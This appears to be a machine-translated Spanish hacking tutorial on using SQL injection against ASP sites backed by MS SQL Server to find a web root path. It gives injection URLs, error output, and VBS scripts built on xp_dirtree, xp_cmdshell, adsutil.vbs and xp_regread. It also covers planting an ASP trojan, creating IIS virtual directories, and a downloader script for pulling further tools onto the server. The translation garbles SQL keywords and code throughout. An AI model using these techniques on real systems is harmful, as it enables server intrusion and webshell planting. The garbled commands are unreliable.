Inyección SQL para obtener la ruta completa del sitio web
Si la web solo tiene 80 puertos, encontrarás que los siguientes métodos son más útiles
Casi todos los métodos utilizados en él no son los que descubrí, y el artículo siempre incluye alguna experiencia personal y habilidades al inyectar
Existen 4 métodos (ahora conocidos)
Primer método:
Este es el <怪异的SQL注入>método introducido en < >
Usando el xp_dirtree de sqlserver, hablemos primero del método y luego de sus ventajas y desventajas (algunas adiciones se hacen basándose en el texto original)
Crear tablas
Declaración:http://www.xxxxx.com/down/list.asp?id=1;create Tablas Dirs (Paths Varchar(1000))--
Atrás: ¡Información normal! ¡Significa que la mesa está creada con éxito! ¡Sigue!
(El que se ha creado es un poco más grande que el original, porque me he encontrado con un archivo con un nombre largo y he borrado el id porque no sirve para nada)
Declaración:http://www.xxxxx.com/down/list.asp?id=1;insert Directores ejecutivos master.dbo.xp_dirtree 'C:\' --
Devoluciones: Información normal. ¡Significa que todos los directorios escritos en C Drive tienen éxito! ¡Guay! ¡El siguiente paso es conseguir el taxímetro! Viola la violación y sal del armario. (Parece que solo hay una forma de hacerlo)
Declaración:http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona rutas top 1 de las dirs)-
Retornos: Microsoft OLE DB Provider for SQL Server error 80040e07
El error de sintaxis ocurre al convertir el valor varchar '@Inetpub' a una columna con tipo de dato int.
¡Luego los nombres de los directorios en la tabla se van desordenando a su vez!
Declaración:http:// http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona los caminos top 1 de
Dirs donde los caminos no están en( '@Inetpub'))--
Retornos: Microsoft OLE DB Provider for SQL Server error 80040e07
El error de sintaxis ocurrió al convertir el valor varchar 'test' a una columna con tipo de dato int.
¡Luego los nombres de los directorios en la tabla se van desordenando a su vez!
Vale, sigamos
Declaración:http:// http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona los caminos top 1 de
Dirs donde los caminos no están en( '@Inetpub','test'))--
Retornos: Microsoft OLE DB Provider for SQL Server error 80040e07
El error de sintaxis ocurre al convertir el valor varchar 'haha' a una columna con tipo de dato int.
¡Luego los nombres de los directorios en la tabla se van desordenando a su vez!
Vale, deberías saber cómo hacerlo, jaja, solo añade el nombre de la tabla que te aparece a ese paréntesis, pon tantos como quieras,
Un pequeño truco:
A veces verás que cuando la entrada es similar
http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona rutas top 1 de las dirs)-
En lugar de mostrar un error, la página web se muestra de forma normal
Mareado, no te pongas nervioso
Mira 0<> (selecciona las rutas principales de las directorias) para mostrar que el retorno es un número,
Jaja, pruébalo y mira cuánto cuesta
100>(selecciona los caminos principales de las directoras)
Vuelta a la normalidad
Jaja, con este método puedes adivinar rápido si es mayor o menos
Vale, sigamos
Por ejemplo, cuando aparece
59=(seleccionar rutas top 1 de las directoras)
Volver a la normalidad,
Vale, el nombre es 59
Presenta la siguiente opción
http:// http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona los caminos top 1 de
dirs donde los caminos no estaban en ('59'))--
Recuerda poner comillas
El siguiente método es el mismo que el original
También hay un problema
A veces, al introducir 59 usando el método anterior, veo que la siguiente carpeta sigue siendo 59
¿Qué pasa?
Jeje, no sé si te has dado cuenta de que el 059 y el 59 son iguales.
Por eso jaja,
http:// http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona los caminos top 1 de
Dirs donde los caminos no estaban en ('059'))--
He visto que aparece el nombre de la siguiente carpeta, vale
Análisis de ventajas y desventajas:
La ventaja es que todos los usuarios de sqlserver pueden usarlo, porque xp_dirtree aplica el permiso PUBLIC,
La desventaja es que muestra los nombres de todas las carpetas del directorio, y la disposición parece no estar ordenada; en resumen, es doloroso encontrar la carpeta que quieres en miles o decenas de miles de carpetas.
Y sabes que tener esa carpeta no garantiza estar en el directorio raíz, lo cual es realmente doloroso, muchas veces depende de la suerte y la resistencia.
Te deseo éxito
Método 2:
Utiliza xp_cmdshell
Jaja, todo el mundo debe estar familiarizado con esto, déjame decirlo brevemente
Crear tablas
Declaración:http://www.xxxxx.com/down/list.asp?id=1;create Tablas Dirs (Paths Varchar(1000))--
Atrás: ¡Información normal! ¡Significa que la mesa está creada con éxito! ¡Sigue!
(El que se construyó es un poco más grande que el original, porque me he encontrado con un archivo con un nombre largo y he borrado ese id porque no sirve para nada.)
Declaración:http://www.xxxxx.com/down/list.asp?id=1;insertdirectores ejecutivos master.dbo.xp_cmdshell 'director c:\ /B/D' --
Devoluciones: Información normal. ¡Significa que todos los directorios escritos en C Drive tienen éxito! dir c:\ /B/D se usa aquí, jaja, si no sabes qué hace /B/D, intenta ver qué hace
Declaración:http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona rutas top 1 de las dirs)-
Retornos: Microsoft OLE DB Provider for SQL Server error 80040e07
El error de sintaxis ocurre al convertir el valor varchar '@Inetpub' a una columna con tipo de dato int.
¡Luego los nombres de los directorios en la tabla se van desordenando a su vez!
Declaración:http:// http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona los caminos top 1 de
Dirs donde los caminos no están en( '@Inetpub'))--
Retornos: Microsoft OLE DB Provider for SQL Server error 80040e07
El error de sintaxis ocurrió al convertir el valor varchar 'test' a una columna con tipo de dato int.
¡Luego los nombres de los directorios en la tabla se van desordenando a su vez!
El método es el mismo que el anterior, así que no voy a hablar de ello
A veces también podemos hacer algo con las siguientes dos extensiones
1) Podemos aprovechar xp_availablemedia para obtener todas las unidades actuales y guardarlas en la tabla de dirs:
5 ; insertar dirs ejecutivo master.dbo.xp_availablemedia; --
Podemos obtener la lista de discos y la información relacionada consultando el contenido de temp
(2) Podemos usar xp_subdirs para obtener la lista de subdirectorios y almacenarlos en la tabla de directorios:
5 ; insertar en las directoras el ejecutivo master.dbo.xp_subdirs 'c:\' ; --
Análisis de ventajas y desventajas:
Obviamente, esto no xp_dirtree la situación en la que todos los directorios se junten, solo se mostrará el directorio de primer nivel, que es mucho más fácil de encontrar.
Las desventajas también son evidentes, solo SA tiene este permiso, y también es posible que el administrador haya eliminado esta extensión (al fin y al cabo, es demasiado potente).
Método 3:
Este enfoque es bueno
A continuación se presenta el texto original
Pensé en usar el programa adsutil.vbs, que ejecuté
a'; Maestro ejecutivo... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
¿No es largo? A través de él, podemos configurar la primera web virtual en IIS (incluyendo el directorio real donde está, por supuesto)
Importar a a.txt
La ubicación real del a.txt por defecto es por supuesto c:\winnt\system32, lo cual en realidad no es un problema, pero al encontrarte con un administrador que configura adsutil.vbs
Bórrala o colócala en otro sitio
No podemos hacer nada al respecto (no puedes escribir uno tú mismo con el comando echo)
Paso 2: Usa el comando echo para escribir el siguiente código en c:\, que no es mucho
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set FSO1=createObject("scripting.filesystemobject"
Establecer WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proceso"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
hacer mientras no sea fil.atendofstream
nr=fil.readline
si left(nr,4)="Path" entonces
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Salida DO
fin si
Bucle
Set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------Corta aquí-------------------------------------
Paso 3: Por supuesto, es ejecutar read.vbs, para que podamos leer el contenido del aa.txt y encontrar la ruta real del sitio web
Luego escribe un archivo llamado dd.asp en el directorio raíz del sitio web, y sabrás si puedes intentarlo con éxito
ejecutarhttp://x.x.x.x/dd.asp
Devoluciones: \xxx
Jaja, es una buena manera,
Sin embargo, el texto original parece tener algunos problemas
Lo es
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
El error ocurre cuando se entregan dos frases
Así que ideamos el signo más, que tiene la misma función que y
¿Y sobre qué escribir dd.asp? Escribe a papá, jaja
Jaja, lo cambié
-------------------read.vbs---------------------------------
Set FSO1=createObject("scripting.filesystemobject"
Establecer WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proceso"("windir"
Set Fil =FSO1.OpenTextFile(SPA "\System32\aa.txt"
hacer mientras no sea fil.atendofstream
nr=fil.readline
si left(nr,4)="Path" entonces
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Salida DO
fin si
Bucle
Set fil1 =fso1.opentextfile(PA "\dd.asp",2,true)
fil1.writeline pa
---------------corta aquí--------------------------------------
Como el número de tiempo se convierte en un espacio al enviar en un navegador, también deberías establecer el
Se convierte en %2B, vale, debería estar bien, así
-------------------read.vbs---------------------------------
Set FSO1=createObject("scripting.filesystemobject"
Establecer WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proceso"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
hacer mientras no sea fil.atendofstream
nr=fil.readline
si left(nr,4)="Path" entonces
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Salida DO
fin si
Bucle
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------corta aquí--------------------------------------
Si encontramos que el 1 no está, podemos convertirnos en 2, 3, 4...........
a'; Maestro ejecutivo... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Pero este método solo puede usarse bajo Windows 2000, porque las direcciones de sitios web recién creados antes de 2003 no están organizados según 1234, parece que se genera aleatoriamente, y he comparado varios bajo 2003
Dirección, no se encontró regularidad.
Análisis de ventajas y desventajas:
Lo mismo xp_cmdshell ¡No todos los usuarios pueden usarlo! Otro problema es que el archivo adsutil no necesariamente existe, o no está necesariamente en ese camino, aunque puedes usarlo si lo has querido
Echo escribe uno (jaja, viejo y antiguo), y otra pregunta es, ¿qué pasa si hay muchos sitios en el host? He conocido a un anfitrión con nueve sitios, y solo el octavo es útil
Sí, débil, es difícil para cualquiera tener la paciencia de persistir tanto, quizá se ha derrumbado hace mucho tiempo. Además, ¡no se puede usar en 2003!
Pero, siendo sincero, este método es realmente bueno
Método 4:
Este método consiste en leer la ruta desde el registro a través de xp_regread etc
Se recomienda lo siguiente para obtener la ruta de la página web (leer el registro mediante procedimientos almacenados):
Utiliza el xp_regread de procedimiento almacenado integrado (leer clave de registro, permiso público):
Declaración: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar (20) director ejecutivo... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , valores=@test SALIDA insertar en rutas
(ruta) valores(@test)
Ruta predeterminada de IIS en el registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Utiliza el campo ráfaga para leer el valor de la base de datos:
Declaración: http://www.xxx.com/list.asp?classid=1 y 0<>(seleccionar rutas top 1 desde newtable)--return: Microsoft OLE DB Provider para
El error de controladores ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] convierte varchar value E:\www,,201 a un tipo de dato int
columna.
Esto significa que el directorio de la página web está en E:\www, y luego también puedes usar FSO para escribir directamente en el troyano ASP
¿Y si no puedes conseguir un directorio web? Tienes que adivinar si la web usa la WEB por defecto o el nombre de dominio como la WEB.
declara @o ejecutiva de inteligencia sp_oacreate wscript.shell, @o ejecuta sp_oamethod @o, ejecuta , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "sitio web predeterminado" -v "e", "e:\"'
Crea un directorio virtual E bajo el sitio WEB por defecto, apuntando a E: bajo disco.
declara @o ejecutiva de inteligencia sp_oacreate wscript.shell, @o ejecuta sp_oamethod @o, ejecuta , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -una exploración w3svc/1/ROOT/e'
Es bueno añadir atributos de navegación al directorio virtual, por ejemplo. Abre un servicio virtual para ti. Pensando en esos caminos de directorio de páginas web, casi se me rompe la cabeza. Ahora abrí los ojos. Ese es el WEBSHELL que usa MS
SQL es el final de nuestro trabajo, y el siguiente trabajo debería ser tuyo.
Jaja, el método es bueno, léelo a través del formulario de inscripción, ¡cómodo y rápido!
Análisis de ventajas y desventajas:
La ventaja, por supuesto, es que es cómodo y rápido. La desventaja es que solo puedes ver la ruta del sitio IIS por defecto, y si ya no es el sitio por defecto, no hay nada que puedas hacer (lo he seguido con regsnape), si es por debajo de 2003
Es decir, ¡ni siquiera se muestra la ruta predeterminada del sitio! Con dolor
Por cierto, de hecho, hay otras formas de continuar la intrusión además de encontrar la ruta del sitio web, como subir el troyano de rebote a través de tftp, o escribir un iget.vbs para descargar el dongdong que quieres
El código iget.vbs es el siguiente:
---------empieza----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0),0
xPost.Send()
Establecer sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
----------fin-----------
Complemento a este artículo:
Recientemente, descubrí que mi comprensión de las instrucciones del presidente Mao no era lo suficientemente profunda, y me gustaría añadir aquí
De hecho, los métodos anteriores no necesitan compararse en absoluto xp_dirtree son los mejores, siempre que este método sea suficiente
Es solo porque fui demasiado ..............
Hoy volveré a descubrir el secreto de xp_dirtree
Vale, vamos a ser maestro ejecutivo: xp_dirtree'd:/test'
Supongamos que tenemos dos carpetas en test, test1 y test2, y test3 en test1
Los resultados muestran
Profundidad de subdirectorio
Test1 1
Test3 2
Test2 1
Jaja, he visto que no hay profundidad en la serie del directorio
Vale, ya sabes qué hacer
http://www.xxxxx.com/down/list.asp?id=1;create Dirs de la tabla (paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Directores ejecutivos master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1 y 0<>(selecciona los caminos top 1 de los dirs donde id=1)-
Mientras se añada id=1, es el directorio de primer nivel.
|